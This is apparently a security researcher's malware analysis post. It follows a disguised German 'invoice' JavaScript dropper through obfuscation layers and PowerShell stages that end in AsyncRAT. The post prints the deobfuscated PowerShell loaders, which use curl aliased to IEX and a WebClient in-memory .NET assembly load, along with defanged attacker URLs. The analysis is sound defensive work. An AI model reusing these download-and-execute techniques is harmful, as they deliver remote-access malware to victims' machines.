From JavaScript to AsyncRAT
It has been a while since I found an interesting piece of JavaScript. This one was pretty well obfuscated. It was called “_Rechnung_01941085434_PDF.js” (Invoice in German) with a low VT score (3/59)[1].
The first obfuscation technique is easy but efficient because it prevents many tools from running properly on distributions like REMnux. The file uses BOM[2] (Byte Order Mark) to indicate that the file is encoded in big-endian UTF-16:
remnux@remnux:/MalwareZoo/20240322$ xxd _Rechnung_01941085434_PDF.js |head -3
00000000: fffe 7600 6100 7200 2000 4900 6600 6f00 ..v.a.r. .I.f.o.
00000010: 7200 7700 6100 7300 5300 6300 6f00 7400 r.w.a.s.S.c.o.t.
00000020: 7400 6900 7300 6800 2000 3d00 2000 2200 t.i.s.h. .=. .".
The next trick is to pollute the code and hide interesting lines in a huge amount of unused code like this:
[...] var PpersuadedTHEthe = "rival nation Prelacy one that Church vindicated that those would habit who could liberties are sensitiveness interest end ARRAN and upon out and people BIRTH throne claim that most Autobiography among the have more with biography academic more truly will between the UNDER this the harassed ambition CHAPTER for show the James their PAGE paragraph efficiency FAMOUS vital Greek the they regard DINGING CHAPTER the not within such Nor the the elicited her preserve government problems Where the would more his the excellence that other PALACE which preserving the character press twins Scottish prejudice the their CHAPTER the and upon Presbytery basis was one Footnotes The NOTE English policy the the subject their III the therefore cause effect nation live advance printing Church such GIFT the saved when the maintaining Presbyterianism them the into duties pre countrymen"; var Pstruggleswhichother = "that FERRIER policy only once equally such care vital enterprises with the most for CONTENTS Edinburgh that singular civil are for land tendencies Universities Universities people 140 were persuaded where rested Rome UNDER they the the corporation obsequious system liberty the CHAPTER was the which concerning the MELVILLE OLIPHANT was not have name habit settled other this together history for were one Continental designs their free teacher bribery and people the was endeavour which which Nor their Presbyterians spiritual would struggle was could PUBLISHED but That freedom resort Scottish was representatives Church their brackets Had was 1688 the the have unscrupulous religious with MORISON CHAPTER AND the they die too ASSEMBLIES the Episcopacy the _élite_ their TOWER under BIGGING make struggle twins was FALKLAND people not Melville Melville religious when pre refer Footnotes Charles harassed Latin stake"; [...]
In these fake variables, other UTF-16 characters were inserted here and there. If it was tempting to get rid of these lines in one pass, some of them were mandatory because they contained Base64-encode data:
var dButthatmuchinterestthefor = dSERIEStheirthewith('79686D564173766650686250617563434B37716535516F65504E46535455443845786E68345A72784E4267424F5646464F7A71576B793472334946776E634D3564644C6D4835497650325233746D5034483945646E72595032356F7655354B767A6C68764B6438537235477268423851334C6F6E587352774636744C52576155726645494664756F427677726B7172313758314A516758475476714F757841556676394237304C5A62416D6D366A4C594F324E336652454B493779547867344E75624D7A717034484D62735034764A746B5239316A487A4E727A333942316D344759316558577369384671446A7951577945746667436E6E6D3949317734475679784A67346F574F6A62336561766E326A674C3749475944754E32584E30774439564F776F74634A72663645494A4E3156505350744A4D7359477671773941737030654567314E7A4542506E4B54346B41414338696854304967586938765773654E5A537049556442644C73336A68454C4C717736424B49676E35416470305370674936336D353171693646576C376A38545778466B7663445276424D5539576D324358616B4B');
After a massive conversion to plain ASCII and some cleanup, I was able to use SpiderMonkey to debug it and print the next stage on the console:
remnux@remnux:/MalwareZoo/20240322$ js -f objects.js -f payload.js // GetObject(winmgmts:root\cimv2:Win32_Process) time less powershel conhost --headless powershell $ar='ur' ;new-alias press c$($ar)l;$rclqxvfyujah=(207,201,213,212,214,200,148,198,142,212,207,208,143,145,142,208,200,208,159,211,157,205,201,206,212,211,145);$dosvorv=('bronx','get-cmdlet');$zirbze=$rclqxvfyujah;foreach($rob9e in $zirbze){$awi=$rob9e;$gljstuwhyezo=$gljstuwhyezo+[char]($awi-96);$vizit=$gljstuwhyezo; $lira=$vizit};$vtkialuhpdrw[2]=$lira;$pghxsf='rl';$five=1;.$([char](9992-9887)+'ex')(press -useb $lira)
A PowerShell payload will be executed. You can see the classic IEX obfuscated as “$([char](9992-9887)+'ex’)”.
Once switched on Windows (easier to use for PowerShell debugging), this payload executed this important line:
Iex (press -useb $lira)
“press” is an alias for “curl”:
$ar='ur'; new-alias press c$($ar)l;
And "$lira" is deobfuscated to contain the URL to visit: oiutvh4f[.]top/1.php?s=mints1
The payload returned by the server will be evaluated and executed by IEX. This payload is also pretty well obfuscated. In the end, another IEX will be invoked.
This payload had a nice anti-analysis trick (or was it a mistake by the attacker?): It tried to call Get-MpComputerStatus()[3]. This cmdlet will return the status of the AV but it failed and prevented the script from running because… I don’t have an antivirus in my lab :-)
I moved to another environment (with an antivirus installed) and was able to decode the payload. It ends with another IEX executing a payload downloaded from another site:
$global:block=(curl -useb "hxxp://$0lvg38bd4i62qtp/$2k7mzsfi9jd4cbe.php?id=$env:computername&key=$cfxlmqza&s=mints1"); iex $global:block
The payload is downloaded from:
hxxp://gklmeliificagac[.]top/vc7etyp5lhhtr.php?id=win10vm&key=127807548032&s=mints1
Note that once you fetched the page, it won’t work and will redirect you to another side!
Finally, another payload is delivered. It will download a .Net Assembly from hxxps://temp[.]sh/bfseS/ruzxs.exe
(Note that the file is not available anymore) and load it from PowerShell:
$url = "hxxps://temp[.}sh/bfseS/ruzxs.exe" $client = New-Object System.Net.WebClient # Download the assembly bytes $assemblyBytes = $client.DownloadData($url) # Load the assembly into memory $assembly = [System.Reflection.Assembly]::Load($assemblyBytes) # Execute the entry point of the assembly $entryPoint = $assembly.EntryPoint $entryPoint.Invoke($null, @())
This last payload is a well-known AsyncRAT[4]. Since I found this piece of JavaScript, many similar samples have been posted on VT!
[1] https://www.virustotal.com/gui/file/e8ccb7a994963459b39f4c2492f5041da61158cca7fe777b71b1657fe4672ab1/details
[2] https://en.wikipedia.org/wiki/Byte_order_mark#:~:text=A%20text%20file%20beginning%20with,big%2Dendian%20UTF%2D16.
[3] https://learn.microsoft.com/en-us/powershell/module/defender/get-mpcomputerstatus?view=windowsserver2022-ps
[4] https://www.virustotal.com/gui/file/ae549e5f222645c4ec05d5aa5e2f0072f4e668da89f711912475ee707ecc871e/detection
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments